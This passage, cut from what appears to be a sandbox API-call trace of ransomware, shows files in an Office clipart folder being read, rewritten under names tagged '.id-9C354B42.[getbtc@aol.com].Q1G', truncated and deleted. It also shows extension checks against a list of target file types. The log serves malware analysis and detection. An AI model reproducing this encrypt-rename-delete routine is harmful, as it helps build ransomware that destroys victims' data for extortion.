(lpString1=".rar", lpString2=".GIF") returned 1 [0054.987] lstrlenW (lpString=".bz2") returned 4 [0054.987] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.987] lstrlenW (lpString=".7z") returned 3 [0054.987] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0054.987] lstrlenW (lpString=".dbf") returned 4 [0054.987] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0054.987] lstrlenW (lpString=".1cd") returned 4 [0054.987] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0054.987] lstrlenW (lpString=".jpg") returned 4 [0054.987] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.987] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.987] lstrlenW (lpString="AG00161_.GIF") returned 12 [0054.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.987] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=7583) returned 1 [0054.987] CloseHandle (hObject=0x234) returned 1 [0054.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0054.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.988] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.988] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.988] GetLastError () returned 0x0 [0054.988] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x1d9f, lpOverlapped=0x0) returned 1 [0054.990] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x1da0, lpOverlapped=0x0) returned 1 [0054.991] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.991] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.991] SetEndOfFile (hFile=0x214) returned 1 [0054.991] CloseHandle (hObject=0x214) returned 1 [0054.991] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.991] SetEndOfFile (hFile=0x234) returned 1 [0054.992] CloseHandle (hObject=0x234) returned 1 [0054.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0054.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0054.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0054.992] lstrlenW (lpString=".doc") returned 4 [0054.992] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.992] lstrlenW (lpString=".docx") returned 5 [0054.992] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.992] lstrlenW (lpString=".pdf") returned 4 [0054.992] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.992] lstrlenW (lpString=".xls") returned 4 [0054.992] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.992] lstrlenW (lpString=".xlsx") returned 5 [0054.992] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.992] lstrlenW (lpString=".ppt") returned 4 [0054.992] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0054.993] lstrlenW (lpString=".zip") returned 4 [0054.993] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.993] lstrlenW (lpString=".rar") returned 4 [0054.993] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.993] lstrlenW (lpString=".bz2") returned 4 [0054.993] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.993] lstrlenW (lpString=".7z") returned 3 [0054.993] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0054.993] lstrlenW (lpString=".dbf") returned 4 [0054.993] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0054.993] lstrlenW (lpString=".1cd") returned 4 [0054.993] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0054.993] lstrlenW (lpString=".jpg") returned 4 [0054.993] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0054.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0054.993] lstrlenW (lpString=".doc") returned 4 [0054.993] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.993] lstrlenW (lpString=".docx") returned 5 [0054.993] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.993] lstrlenW (lpString=".pdf") returned 4 [0054.993] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.993] lstrlenW (lpString=".xls") returned 4 [0054.993] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.993] lstrlenW (lpString=".xlsx") returned 5 [0054.993] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.993] lstrlenW (lpString=".ppt") returned 4 [0054.993] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0054.993] lstrlenW (lpString=".zip") returned 4 [0054.993] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.994] lstrlenW (lpString=".rar") returned 4 [0054.994] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.994] lstrlenW (lpString=".bz2") returned 4 [0054.994] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.994] lstrlenW (lpString=".7z") returned 3 [0054.994] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0054.994] lstrlenW (lpString=".dbf") returned 4 [0054.994] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0054.994] lstrlenW (lpString=".1cd") returned 4 [0054.994] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0054.994] lstrlenW (lpString=".jpg") returned 4 [0054.994] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.994] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.994] lstrlenW (lpString="AG00163_.GIF") returned 12 [0054.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.995] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=6984) returned 1 [0054.995] CloseHandle (hObject=0x234) returned 1 [0054.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0054.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0054.996] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.996] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.996] GetLastError () returned 0x0 [0054.996] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x1b48, lpOverlapped=0x0) returned 1 [0054.999] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x1b50, lpOverlapped=0x0) returned 1 [0055.000] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.000] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.000] SetEndOfFile (hFile=0x214) returned 1 [0055.000] CloseHandle (hObject=0x214) returned 1 [0055.000] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.000] SetEndOfFile (hFile=0x234) returned 1 [0055.001] CloseHandle (hObject=0x234) returned 1 [0055.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0055.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0055.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0055.002] lstrlenW (lpString=".doc") returned 4 [0055.002] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.002] lstrlenW (lpString=".docx") returned 5 [0055.002] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.002] lstrlenW (lpString=".pdf") returned 4 [0055.002] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.002] lstrlenW (lpString=".xls") returned 4 [0055.002] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.002] lstrlenW (lpString=".xlsx") returned 5 [0055.002] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.002] lstrlenW (lpString=".ppt") returned 4 [0055.002] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0055.002] lstrlenW (lpString=".zip") returned 4 [0055.002] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.002] lstrlenW (lpString=".rar") returned 4 [0055.002] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.002] lstrlenW (lpString=".bz2") returned 4 [0055.002] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.002] lstrlenW (lpString=".7z") returned 3 [0055.002] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0055.002] lstrlenW (lpString=".dbf") returned 4 [0055.002] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0055.002] lstrlenW (lpString=".1cd") returned 4 [0055.002] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0055.002] lstrlenW (lpString=".jpg") returned 4 [0055.002] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0055.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0055.002] lstrlenW (lpString=".doc") returned 4 [0055.003] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.003] lstrlenW (lpString=".docx") returned 5 [0055.003] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.003] lstrlenW (lpString=".pdf") returned 4 [0055.003] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.003] lstrlenW (lpString=".xls") returned 4 [0055.003] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.003] lstrlenW (lpString=".xlsx") returned 5 [0055.003] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.003] lstrlenW (lpString=".ppt") returned 4 [0055.003] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0055.003] lstrlenW (lpString=".zip") returned 4 [0055.003] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.003] lstrlenW (lpString=".rar") returned 4 [0055.003] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.003] lstrlenW (lpString=".bz2") returned 4 [0055.003] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.003] lstrlenW (lpString=".7z") returned 3 [0055.003] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0055.003] lstrlenW (lpString=".dbf") returned 4 [0055.003] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0055.003] lstrlenW (lpString=".1cd") returned 4 [0055.003] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0055.003] lstrlenW (lpString=".jpg") returned 4 [0055.003] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.003] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0055.004] lstrlenW (lpString="AG00164_.GIF") returned 12 [0055.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0055.004] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=13254) returned 1 [0055.004] CloseHandle (hObject=0x234) returned 1 [0055.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0055.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0055.004] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.004] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.005] GetLastError () returned 0x0 [0055.005] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x33c6, lpOverlapped=0x0) returned 1 [0055.007] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x33d0, lpOverlapped=0x0) returned 1 [0055.008] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.008] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.008] SetEndOfFile (hFile=0x214) returned 1 [0055.008] CloseHandle (hObject=0x214) returned 1 [0055.008] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.008] SetEndOfFile (hFile=0x234) returned 1 [0055.009] CloseHandle (hObject=0x234) returned 1 [0055.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0055.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0055.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0055.009] lstrlenW (lpString=".doc") returned 4 [0055.009] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.009] lstrlenW (lpString=".docx") returned 5 [0055.009] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.009] lstrlenW (lpString=".pdf") returned 4 [0055.009] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.009] lstrlenW (lpString=".xls") returned 4 [0055.009] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.009] lstrlenW (lpString=".xlsx") returned 5 [0055.009] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.009] lstrlenW (lpString=".ppt") returned 4 [0055.010] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0055.010] lstrlenW (lpString=".zip") returned 4 [0055.010] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.010] lstrlenW (lpString=".rar") returned 4 [0055.010] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.010] lstrlenW (lpString=".bz2") returned 4 [0055.010] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.010] lstrlenW (lpString=".7z") returned 3 [0055.010] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0055.010] lstrlenW (lpString=".dbf") returned 4 [0055.010] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0055.010] lstrlenW (lpString=".1cd") returned 4 [0055.010] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0055.010] lstrlenW (lpString=".jpg") returned 4 [0055.010] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0055.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0055.010] lstrlenW (lpString=".doc") returned 4 [0055.010] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.010] lstrlenW (lpString=".docx") returned 5 [0055.010] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.010] lstrlenW (lpString=".pdf") returned 4 [0055.010] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.010] lstrlenW (lpString=".xls") returned 4 [0055.010] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.010] lstrlenW (lpString=".xlsx") returned 5 [0055.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.010] lstrlenW (lpString=".ppt") returned 4 [0055.010] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0055.010] lstrlenW (lpString=".zip") returned 4 [0055.011] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.011] lstrlenW (lpString=".rar") returned 4 [0055.011] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.011] lstrlenW (lpString=".bz2") returned 4 [0055.011] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.011] lstrlenW (lpString=".7z") returned 3 [0055.011] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0055.011] lstrlenW (lpString=".dbf") returned 4 [0055.011] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0055.011] lstrlenW (lpString=".1cd") returned 4 [0055.011] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.011] lstrlenW (lpString="C:\\Program Files\\Microsoft 